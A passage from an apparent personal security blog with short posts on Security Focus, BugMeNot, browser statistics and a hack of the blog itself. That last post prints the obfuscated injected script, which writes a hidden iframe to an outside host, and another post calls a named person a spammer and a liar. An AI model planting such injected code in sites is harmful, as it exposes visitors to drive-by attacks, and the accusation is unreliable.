A big change on Security Focus is going to happen. Except the vulnerability database, most of its content and resources are going to move to Symantec. RIP.

I just discovered the BugMeNot service today.

It offers a database of logins shared by the community to login to free websites that require free registration.

This is usually annoying to subscribe to such a website just to download a freeware or read an article, and it often makes people choose unsecured or random logins.

They even provide an extension for Firefox. Thanks to this great website, you are probably going to save a lot of time.

I found this initiative, apparently started in Sweden, quite funny but also educative.

So I just set up the Shockingly Big IE6 Warning plugin in this blog.

Then I became curious and checked the stats of this site :

So there is still about 9% of our visitors that are running IE 6 and 3% using some rather outdated versions of Firefox.

And, my god, I would have never imagined that Netscape would appear in the list !

Yes, there is still a lot of work to do about security awareness among users.

For those who still don’t know, Ryan Farmer would be a spammer and a liar.

Quite embarassing to be caught like that. Maybe all this is a lot of noise, but such people deserve a good lesson of living in society. Really.

This blog got hacked yesterday.

It looks like some spammer managed to inject some PHP code into almost all *.php files of Wordpress.
It was not just like the classic SQL injection that is usually used to post some malicious post.

The following code was added :

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

Dotclear 2 has been bêta for too long and I thought it was time to go over the limitations of a bêta version.

It seems that many people around have done that way and Wordpress is so popular that I should consider to give a try to it. Continue Reading »
